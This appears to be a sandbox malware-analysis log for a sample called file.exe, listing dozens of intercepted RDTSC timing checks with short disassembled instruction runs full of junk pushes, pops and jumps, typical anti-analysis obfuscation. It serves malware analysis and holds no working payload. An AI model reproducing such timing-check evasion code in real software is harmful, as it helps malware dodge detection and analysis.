Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5F48 second address: 9D5F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8D75 second address: 9D8D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEBF907CE56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEBF907CE5Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8D8F second address: 9D8D97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8C24 second address: 9D8C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FEBF907CE56h 0x00000009 jmp 00007FEBF907CE5Bh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jmp 00007FEBF907CE67h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC8C4 second address: 9DC8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC8C9 second address: 9DC8CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFB06 second address: 9DFB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEBF90902E6h 0x0000000a popad 0x0000000b je 00007FEBF90902F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF4A8 second address: 9DF4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007FEBF907CE60h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF4C2 second address: 9DF4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF650 second address: 9DF65D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF80A second address: 9DF80E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE643 second address: 9EE650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE650 second address: 9EE654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE654 second address: 9EE672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE672 second address: 9EE684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0231 second address: 9F0235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF473 second address: 9FF49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBF90902F7h 0x0000000c jc 00007FEBF90902ECh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF49D second address: 9FF4A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF4A4 second address: 9FF4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF4AA second address: 9FF4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF4B5 second address: 9FF4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05E89 second address: A05EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE62h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A061CB second address: A061D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A061D3 second address: A061EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEBF907CE5Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06367 second address: A0636D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0636D second address: A06373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0669C second address: A066A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A071E9 second address: A071ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A071ED second address: A07202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07202 second address: A0721F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0721F second address: A0723B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08BAB second address: A08BFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBF907CE66h 0x0000000b jmp 00007FEBF907CE5Eh 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FEBF907CE63h 0x0000001a pop ebx 0x0000001b jmp 00007FEBF907CE5Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08BFC second address: A08C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08C00 second address: A08C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE63h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BFB9 second address: A0BFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BFC8 second address: A0BFD4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEBF907CE5Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BFD4 second address: A0BFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jng 00007FEBF90902E6h 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnl 00007FEBF909030Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BFEC second address: A0C009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DAC4 second address: A0DAEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jno 00007FEBF90902E6h 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FEBF90902F7h 0x0000001a jmp 00007FEBF90902EFh 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159E4 second address: A159EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159EA second address: A159FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 js 00007FEBF90902E6h 0x0000000c pop esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157F7 second address: A157FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157FB second address: A1582C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FEBF90902F4h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEBF90902EBh 0x00000016 jbe 00007FEBF90902E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16F6B second address: A16F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FEBF907CE5Eh 0x0000000a jnc 00007FEBF907CE56h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C466 second address: A1C46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B9BA second address: A2B9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEBF907CE61h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B9D3 second address: A2B9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jng 00007FEBF90902E8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEBF90902F0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B9F6 second address: A2B9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B9FC second address: A2BA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBF90902EAh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B807 second address: A2B80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B80B second address: A2B84E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEBF90902EFh 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEBF90902F7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA1D second address: A2DA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA23 second address: A2DA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a jl 00007FEBF90902E6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 jmp 00007FEBF90902F8h 0x00000019 pushad 0x0000001a popad 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FEBF90902EEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA64 second address: A2DA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D520 second address: A2D53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D53B second address: A2D549 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007FEBF907CE56h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D549 second address: A2D54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D6FF second address: A2D71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBF907CE60h 0x0000000c jc 00007FEBF907CE56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40723 second address: A4072A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4072A second address: A40743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FEBF907CE60h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40743 second address: A4074C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44F32 second address: A44F3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44F3F second address: A44F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEBF90902E6h 0x0000000a pop edi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEBF90902F8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4427D second address: A44282 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A446CE second address: A446DB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A446DB second address: A446E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A446E6 second address: A446EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44850 second address: A4485B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4485B second address: A4485F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44AFC second address: A44B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44B00 second address: A44B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEBF90902E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4662E second address: A46632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49348 second address: A4934C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4934C second address: A49352 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49352 second address: A49394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jg 00007FEBF90902F1h 0x00000012 push 00000004h 0x00000014 and dl, 00000034h 0x00000017 mov dword ptr [ebp+122D1FD9h], edi 0x0000001d call 00007FEBF90902E9h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jo 00007FEBF90902E6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49394 second address: A4939A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4939A second address: A493C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBF90902F9h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A493C1 second address: A493CB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A493CB second address: A493CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A493CF second address: A493E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b js 00007FEBF907CE64h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A493E4 second address: A493E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8D2 second address: A4A8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8DD second address: A4A8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8E1 second address: A4A8E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8E5 second address: A4A8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jnp 00007FEBF90902ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8F5 second address: A4A8FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A8FD second address: A4A901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A901 second address: A4A905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A905 second address: A4A90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A90B second address: A4A927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBF907CE5Eh 0x0000000d js 00007FEBF907CE56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A927 second address: A4A92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C1CC second address: A4C1E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FEBF907CE56h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C1E3 second address: A4C1F3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF90902E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02E0 second address: 50B02E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02E4 second address: 50B030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushfd 0x0000000e jmp 00007FEBF90902EAh 0x00000013 add ecx, 26B9EDE8h 0x00000019 jmp 00007FEBF90902EBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
